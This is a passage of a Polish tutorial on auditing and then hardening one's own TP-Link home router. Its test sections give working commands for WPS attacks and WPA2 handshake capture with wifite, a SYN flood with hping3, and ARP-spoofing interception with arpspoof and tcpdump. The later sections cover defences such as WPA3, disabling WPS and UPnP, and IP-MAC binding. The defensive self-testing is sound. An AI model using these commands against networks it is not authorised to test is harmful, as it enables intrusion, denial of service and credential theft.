Jeśli zechcecie wrócić do ustawień „fabrycznych” waszego połączenia przewodowego to po pierwsze, usuń wszystkie ustawienia w routerze, jakie wprowadziliśmy do tej pory. Możesz również przywróć router do ustawień fabrycznych. Hardeningiem zajmiemy się w dalszej części, dlatego nie obawiaj się tego robić, szczególnie jeśli wykonasz jakąś konfigurację, która zablokuje router. Mi zdarzyło się to 2 razy w czasie pisania tego artykułu. Następnie w konsoli wpisujemy kolejno polecenia:

sudo systemctl stop openvpn-server@server
sudo killall openvpn
sudo ip link delete tun0
sudo systemctl restart NetworkManager

Tak zatrzymujemy serwer OpenVPN i usuwamy interfejs tunelowania, jaki stworzyliśmy do przeprowadzenia testu. Pozostało skonfigurować nasz interfejs kablowy, czyli eth0:

sudo nmtui

Pojawi się menu, z którego wybieramy opcję Modyfikuj Połączenie i zatwierdzamy ENTER-em. Następnie wybieramy Wired connection 1 i ponownie ENTER. Odnajdujemy Konfigurację Ipv4, klikamy ENTER i z listy wybieramy automatycznie. Zjeżdżamy na sam dół i wciskamy ok. Następnie strzałkami przechodzimy do prawego menu i wybieramy wstecz. Z menu, jakie widzieliśmy na początku, wybieramy przedostatnią opcję Zakończ. W ten sposób przywróciliśmy standardową konfigurację. Pozostało zrestartować Menadżer Połączeń:

sudo systemctl restart NetworkManager

Internet powinien być już dostępny. 

2.4. Test WPS

WPS jest czymś, co od razu powinniśmy wyłączać przy konfiguracji routera. Ułatwia nawiązanie połączenia z urządzeniami takimi jak drukarki, ale ma to swoją cenę. W tej sytuacji cena jest dość wysoka, bo jeśli sieć zabezpieczyliśmy długim i bardzo skomplikowanym hasłem, to właśnie robiliśmy to na darmo. WPS działa na zasadzie pinu cyfrowego. Dlatego kombinacji jest nie jest aż tak dużo, co bardzo ułatwia uzyskanie hasła. Na szczęście w standardowej konfiguracji routera WPS jest włączony, ale nie skonfigurowany.

Rysunek 9: Konfiguracja WPS

Jednak myślę, że niejeden skusi się dokończyć konfigurację i w pełni uruchomić WPS.

Pierwsza wybrana opcja polega na wciśnięciu przycisku start i następnie nawiązaniu połączenia urządzenia z routerem. W tym przypadku, PIN jest dostępny przez kilka sekund, a dokładnie przez 2 minuty. Szansa na jego złamanie naprawdę maleje, ale nadal istnieje. W przypadku drugiej opcji, a przypuszczam, że wielu się na nią zdecyduje, jest opcja ustalenia stałego PIN-u.

Rysunek 10: WPS stały PIN

Ten typ ustawia stały PIN. Jak widać na Rysunku 10 składa się on z 8 cyfr. Co już świadczy zagrożeniu. Nawet hasło składające się z małych i dużych liter, przynajmniej jednej liczby i jednego znaku gdzie łączna suma znaków hasła wynosi 8 nie należy do bezpiecznych. To jak nazwać rozwiązanie gdzie hasło to same liczby ?

Zobaczmy jak możemy przetestować nasz router pod względem bezpieczeństwa WPS. Najprościej jest skorzystać z narzędzia wifite. Taki skan przeprowadzamy w następujący sposób: 

sudo wifite --wps --no-pixie -b DC:62:79:7D:3B:9E

W ten sposób przetestujemy wszystkie możliwe ataki na nasz router jeśli chodzi o WPS. Pierwszej flagi wydaje mi się, że nie muszę tłumaczyć. Druga wyłącza test Pixie Dust, który działa na bardzo stare routery. W związku z tym, że my korzystamy z nowego modelu, nie ma sensu tracić na to czasu. Na końcu podajemy adres MAC naszego routera. Test potrwa dłuższą chwilę. Jeśli chcesz, możesz jeszcze skorzystać z opcji –ignore-locks, która zignoruje blokadę WPS i będzie kontynuowała test. Jednak w wielu przypadkach jest to niezbyt pomocne.

2.5. Test WPA2 – przechwytujemy handshake

Najbardziej niebezpieczne w korzystaniu z WPA2 jest możliwość pozyskania przez każdego znajdującego się w pobliżu tak zwanego handshake’a, z którego możemy wydobyć hasło do sieci. Bardzo łatwo możemy pozyskać taki plik, korzystając z polecenia:

sudo wifite --skip-crack -b DC:62:79:7D:3B:9E

Pierwsza opcja pominie próbę złamania hasła, natomiast po drugiej podajemy adres MAC naszego routera. Teraz wystarczy zaczekać, aby ktoś zalogował się do sieci.

2.6. Wyczerpanie zasobów (Atak SYN Flood)

Model AX12 ma 128 MB pamięci RAM. Haker (z zewnątrz lub wewnątrz) uderza dziesiątkami tysięcy zapytań SYN na sekundę. Jeśli zapora potraktuje każde poważnie, dla każdego utworzy wpis SYN_RECEIVED w tablicy stanów. Pamięć błyskawicznie się zapełnia, urządzenie zawiesza się, a cała sieć traci dostęp do internetu (Denial of Service). Taki test możemy przeprowadzić przy pomocy polecenia:

sudo hping3 -S -p 80 --flood 192.168.1.1

Pierwsza opcja -S ustawia flagę SYN w nagłówku TCP na port 80 (-p 80), wysyłając ten pakiet tak szybko, jak jest to tylko możliwe (–flood). Na końcu podajemy adres IP naszego routera. Taki test przeprowadzamy będąc wewnątrz sieci lub z zewnątrz, jeśli nasz router przekierowuje port, na przykład 80.

2.7. Man-in-the-Middle (ARP Spoofing)

Jest to jeden z najpoważniejszych ataków, przed którym szczególnie należy się bronić. Dzięki temu atakowi haker będący w sieci jest w stanie podsłuchiwać ruch każdego z dostępnych urządzeń zalogowanych do sieci. Aby móc przeprowadzić taki test, na początku musimy poznać adres MAC obiektu jaki chcemy poddać atakowi. Dlatego wyświetlamy listę zalogowanych urządzeń za pomocą narzędzia:

sudo netdiscover -i wlan0

Z listy, jaka się pojawi, wybieramy nasz cel, a dokładnie zapisujemy jego adres IP. W moim przypadku jest to 192.168.1.236. Gdy już znamy adres IP, kończymy działanie programu za pomocą skrótu klawiszowego CTRL + C. Ważne jest również, aby znać adres naszego routera, którym w moim przypadku jest 192.168.1.1. Teraz możemy przejść do samego ataku. Ruch musi przechodzić przez nasze urządzenie, nasz system Kali Linux, dlatego musimy o tym poinformować za pomocą polecenia:

sudo sysctl -w net.ipv4.ip_forward=1

Następnie dzielimy naszą konsolę na dwie części lub uruchamiamy dwa oddzielne okna. W pierwszej z nich uruchamiamy polecenie w następujący sposób:

sudo arpspoof -i wlan0 -t 192.168.1.236 192.168.1.1

W drugiej identyczne polecenie, ale z zamienionymi wartościami po opcji -t:

sudo arpspoof -i wlan0 -t 192.168.1.1 192.168.1.236

Należy pamiętać, aby oba polecenia uruchomić mniej więcej w tym samym czasie. Następnie uruchamiamy trzecią konsolę lub dzielimy jeszcze na trzecią część, gdzie wpisujemy polecenie:

sudo tcpdump -i wlan0

I zobaczysz przechodzący ruch przez Twój system, a dokładniej przez Twoją kartę sieciową. Jest to o tyle niebezpieczne, że jesteś w stanie sprawdzić, na jakie strony wchodzi śledzony użytkownik sieci, a nawet, na jakie strony loguje się, a co gorsze za pomocą jakiego loginu i hasła.

3. Hardening routera TP-Link – konfiguracja bezpieczeństwa w naszym domu

Gdy już przeprowadziliśmy kilka testów, teraz przystąpmy do niwelowania wszystkiego tego, na co nasz router jest podatny. Oczywiście musisz być świadomy, że nie istnieje coś takiego jak 100% bezpieczeństwo. Dlatego też nie da się wykonać czegoś, co nie istnieje. Dotyczy to zarówno życia codziennego, jak i również tego, o czym jest artykuł. Należy być zawsze bardzo uważnym, weryfikować stan naszych zabezpieczeń oraz śledzić co rusz pojawiające się nowe informacje dotyczące luk. W ten sposób najszybciej jesteśmy w stanie zniwelować zagrożenie. Mając już pewien zakres informacji, przejdźmy teraz do zwiększenia bezpieczeństwa naszego routera, jak i naszej sieci.

3.1. Uruchomienie automatycznych aktualizacji firmware

Aktualizacja routera jest jedną z podstawowych form zabezpieczenia. Jeśli czytałeś niektóre moje artykuły, szczególnie te dotyczące Windowsa, to mogłeś przeczytać, że wspominałem o tym, że nie zawsze warto przeprowadzać aktualizację systemu do najnowszej wersji. I podtrzymuję to. Jednak dotyczy to samego Windowsa, nie routera. W przypadku tego drugiego bardzo istotne jest, aby ustawić aktualizacje automatyczne. Takie ustawienie znaleźć można:

Rysunek 11: Ustawienia aktualizacji routera

Dokładna ścieżka do tych ustawień to Advanced > System > Firmware Update. Ważne jest, aby suwak z Auto Update był przesunięty tak, jak na rysunku 11. Oznacza to, że jest on włączony. Następnie należy określić godzinę aktualizacji. Najlepiej ustawić na taką, w jakiej ruch za pomocą routera jest jak najmniejszy. W moim przypadku jest to godzina, gdy każdy z domowników już raczej śpi (no chyba, że znowu mnie coś wciągnęło). Oczywiście zawsze możemy zweryfikować, czy mamy najnowsze aktualizacje za pomocą przycisku CHECK FOR UPDATES.

Prezentowana konfiguracja jest generowana automatycznie, kiedy wykonujemy podstawową konfigurację routera. Jedynie godzina weryfikacji aktualizacji jest inna, dlatego warto na pierwszy rzut zajrzeć tutaj i ustawić najbardziej nam odpowiadającą.

3.2. Izolacja i zmiana adresacji macierzystej LAN

Czytając tytuł tego podrozdziału, możesz się zastanawiać, po co to robić? Jeśli tak się stało, to cieszę się, bo gdy kiedyś pierwszy raz się z tym zderzyłem, sam się nad tym zastanawiałem. Otóż chcielibyśmy się zabezpieczyć przed atakiem typu CSRF. Więcej na ten temat jesteś w stanie przeczytać na stronie https://sekurak.pl/czym-jest-podatnosc-csrf-cross-site-request-forgery/. Nie kopiuję treści ani nie piszę tego od nowa, bo jest bardzo dobrze wytłumaczone na tej stronie, dlatego warto zajrzeć. Czy jest na to idealny sposób? Otóż nie ma. Jeśli jesteś zalogowany lub sesja jeszcze nie wygasła i za pomocą strony zostanie użyta odpowiednia metoda POST, to atak ten się powiedzie. Jednak można to trochę utrudnić, zmieniając adresację sieci na przykład na 172.22.69.1. Możemy to zrobić, wchodząc w Advanced > Network > LAN.

Rysunek 12: zmiana adresacji sieci LAN

Oczywiście zapisujemy konfigurację i musimy odczekać chwilę. Zostaniemy przeniesieni na nową stronę logowania, a dokładnie pod zaktualizowany jej adres. Powodem zmiany adresacji jest to, że najczęściej tego typu atak operuje na podstawowej adresacji, jak 192.168.0.1 lub 192.168.1.1. Dlatego przygotowane tego typu ataki najczęściej są ukierunkowane na ten typ adresacji. Chciałbym jednak zwrócić uwagę na jeden bardzo istotny szczegół. To, co tutaj zaprezentowałem, jest jedynie zakrywaniem problemu. Można by to porównać do tematu, jaki poruszałem w książce „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN”, w związku z ukrywaniem nazwy sieci. Jednak w tym przypadku jest trochę inaczej, bo adresacji nietypowej nie da się tak łatwo odgadnąć. Dlatego też, pomimo podobieństw, ma to o wiele większy sens niż w przypadku wspomnianego ukrywania nazwy, gdzie nie musimy się dużo wysilać, aby taką nazwę zdobyć.

Innym bardzo ważnym czynnikiem jest hasło. Jednak w przypadku TP-Linka, na którym przeprowadzam testy, nie jest ono standardowe. My tworzymy je, gdy po raz pierwszy wchodzimy do panelu logowania. Dlatego w stosunku do omawianego tematu nie ma ono żadnego znaczenia. Jednak jak już jesteśmy przy tym temacie, to pamiętajcie, aby nie było ono za proste i najlepiej składało się z 16 znaków zawierających duże i małe litery, liczby i różne inne znaki interpunkcyjne.

Ostatnią ważną zmianą lub też nie, jest wyłączenie możliwości połączenia zdalnego z routerem. Standardowo router ma tę funkcję wyłączoną, ale zawsze warto to sprawdzić. Wchodzimy zatem w Advanced > Security > Access Control.

Rysunek 13: Zablokowanie możliwości połączenia zdalnego

Ważne, aby w tym miejscu suwak był wyszarzony, jak na rysunku 13. Oznacza to, że możliwość połączenia zdalnego jest wyłączona.

3.3. Bezpieczne tunelowanie i bezwzględny VPN Kill Switch

Jeśli korzystamy z VPN-a, to warto podczas ustawiania włączyć funkcję VPN Kill Switch. Spowoduje to zablokowanie możliwości połączenia, jeśli tunelowanie nagle zostanie rozłączone. Jak pamiętasz, podczas naszego testu wszystko było widoczne. Nie muszę tutaj dodawać, jak bardzo jest to niebezpieczne. Wchodzimy w takim razie ponownie w Advanced > VPN Client. Następnie podczas konfigurowania OpenVPN wybieramy wspomnianą opcję VPN Kill Switch, jak na poniższym rysunku:

Rysunek 14: ulepszenie bezpieczeństwa OpenVPN

Jednak najlepszym rozwiązaniem byłoby skonfigurowanie WireGuarda i zaznaczenie opcji VPN Kill Switch.

Rysunek 15 – konfiguracja WireGuard w TP-Link

Dzięki temu właśnie zaświeciła mi się lampka mająca na celu pokazanie wam, w jaki sposób własny serwer VPS postawić w formie laboratorium. Dlatego na to, jak to zrobić, będziecie musieli zaczekać.

3.4. Czystka w usługach: UPnP oraz WPS

Zarówno WPS, jak i UPnP testowaliśmy w poprzedniej sekcji. Również WPS-owi poświęciłem część jednego z rozdziałów w książce „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN”, dlatego wiem, że nie jest to ten poziom audytu, jaki zaprezentowałem tam. Jednak nie mogę poświęcić tyle miejsca samemu WPS-owi. Przejdźmy teraz do wyłączenia tych funkcji. Po pierwsze zajmijmy się WPS. Wchodzimy w Advanced > WPS.

Rysunek 16: Deaktywacja WPS

Jeśli funkcja jest włączona, przesuwamy suwak tak, aby był wyszarzony, tak jak to zaprezentowałem na rysunku 16. Jest na to jeszcze jeden sposób. Otóż automatycznie WPS wyłączany jest, kiedy ustawiamy sieć bezprzewodową na WPA3, ale o tym za chwilę. Po WPS pozostało całkowicie zablokować UPnP. Wchodzimy w Advanced > NAT Forwarding > UPnP.

Rysunek 17 – deaktywacja UPnP

Jednak jeśli jesteś fanem gier online, to możesz napotkać pewne problemy. Nie mówię tutaj o grach MMORPG, gdzie gry są na tak zwanych serwerach dedykowanych. Natomiast tutaj chodzi o gry typu peer-to-peer, gdzie jesteś hostem lub ktoś hostuje. Natomiast jeśli będziesz chciał mieć możliwość grania w takie gry, a będziesz chciał pozostawić UPnP wyłączone, to musisz przekierować sam wymagane porty za pomocą Port Forwarding, pierwszej opcji dostępnej w tej sekcji. Tam będziesz musiał umieścić odpowiedni port lub też porty ręcznie.

3.5. Bezpieczeństwo pasm bezprzewodowych w architekturze WPA3

Tu najbardziej istotną zmianą jest przejście ze standardowego WPA2 na WPA3. Jesteśmy w stanie zrobić to, wchodząc w Advanced > Wireless > Wireless Settings.

Rysunek 18: WPA3

Musimy wybrać opcję WPA3-Personal, a nie WPA3-Personal+WPA2-PSK[AES]. Algorytm SAE w WPA3 blokuje możliwość słownikowego łamania przechwyconego handshake’a offline. Natomiast gdy uruchomimy tą drugą opcję, automatycznie umożliwiamy łamanie słownikowe. Po wybraniu odpowiednich ustawień klikamy przycisk Save.

Jest jeszcze jedna ważna konfiguracja w tych ustawieniach, a jest nią nazwa naszej sieci. Tak, sama nazwa jest dość istotną konfiguracją. Wielu popełnia w tym miejscu bardzo poważny błąd i pozostawia nazwę domyślną. Wtedy haker uzyskuje dostęp do modelu routera i może poszukać luki. Dlatego pamiętajcie, aby waszą sieć nazwać jak tylko chcecie, ale aby nie dawała żadnych podpowiedzi w stosunku do modelu routera, użytkowników i innych istotnych danych.

Jedyną wadą WPA3 na obecną chwilę jest to, że nie wszystkie urządzenia obsługują ten standard bezpieczeństwa. Dlatego sugeruję stworzyć odrębną sieć dla gości. Wchodzimy w Advanced > Guest Network.

Rysunek 19: ustawienie sieci dla urządzeń nieobsługujących WPA3

Tu również należy nazwać sieć inaczej, niż to podpowiada router. Następnie w Security wybieramy opcję wskazaną i ustawiamy silne hasło. Najlepiej składające się z 16 losowych znaków, zawierające dużą i małą literę, cyfrę i przynajmniej 1 znak specjalny. Pamiętajcie jeszcze, aby nie zaznaczać dwóch poniższych opcji dostępowych routera. W ten sposób ograniczymy ryzyko do minimum.

3.6. Obrona drugiej warstwy w sieci – powiązanie adresów

Najprościej zabezpieczyć się przed ARP Spoofingiem jest powiązać ze sobą adresy MAC i IP. Wchodzimy w Advanced > Security > IP & MAC Binding.

Rysunek 20: Powiązanie adresów IP z MAC

Przesuwamy suwak IP & MAC Binding tak, aby włączyć powiązanie. Na liście ARP List wyświetlą się urządzenia zalogowane obecnie do sieci. Pod kolumną Bind przesuwamy suwak, aby powiązać ze sobą adresy IP i MAC. Następnie automatycznie nasze powiązanie pojawi się na trzeciej liście Binding List. W ten sposób wiążemy wszystkie nasze pozostałe urządzenia.

3.7. Omijanie profilowania ISP dzięki systemom DNS Cloudflare oraz Quad9

Teraz uruchomimy filtrację niebezpiecznych treści w naszym routerze. Ma to bardzo ogromne znaczenie dla wszystkich urządzeń w naszej sieci. Skorzystamy z usług takich jak Quad9 i Cloudflare. W ramach wyjaśnień Quad9 można potraktować jako tarczę ochronną, która automatycznie i na poziomie sieci blokuje dostęp do stron wyłudzających dane (phishing) oraz serwerów kontrolujących malware. Jest to robione jeszcze na poziomie sieci, zanim zagrożenie dotrze do Twojego komputera czy innego urządzenia. Natomiast Cloudflare gwarantuje błyskawiczne rozwiązywanie nazw domenowych i chroni prywatność, uniemożliwiając dostawcy internetu śledzenie i zapisywanie historii przeglądanych przez Ciebie stron. Jest to dostępne całkowicie za darmo i można ustawić, wchodząc w Advanced > Network > Internet. Rozwijamy listę Advanced Settings i wprowadzamy konfigurację:

Rysunek 20: Quad9 i Cloudflare – konfiguracja

Pierwszy adres to Quad9, a drugi, jak już pewnie się domyślasz – Cloudflare. Z ważnych zmian jest jeszcze zmiana Host Name, ale o tym rozmawialiśmy chwilę temu. Po tej konfiguracji zapisujemy za pomocą przycisku Save i gotowe. Sądziłeś, że będzie trudniej? Zaprezentowana konfiguracja, a może dostęp do tych adresów jest całkowicie za darmo. Zresztą widzisz to sam. Zastanów się, jak wiele osób jej nie wykonuje tego kroku.

4. Podsumowanie

Testowanie bezpieczeństwa własnego routera czy też innego urządzenia może sprawić wiele frajdy. Szczególnie że testujemy realne urządzenie, a nie wirtualne. Zachęcam do wykonania takich czynności w swoim zaciszu domowym nie tylko na routerach, ale i na innych urządzeniach IoT. Czasami może się okazać, że dotychczasowa konfiguracja nie spełnia realiów bezpieczeństwa i w łatwy sposób możemy to poprawić. Mam nadzieję, że poprzez ten artykuł udało mi się namówić Cię chociaż do spróbowania.

A teraz dla tych, którzy nie tylko czytali, pozostaje sprawdzić, czy konfiguracja spełniła wszelkie oczekiwania. Do dzieła i powodzenia!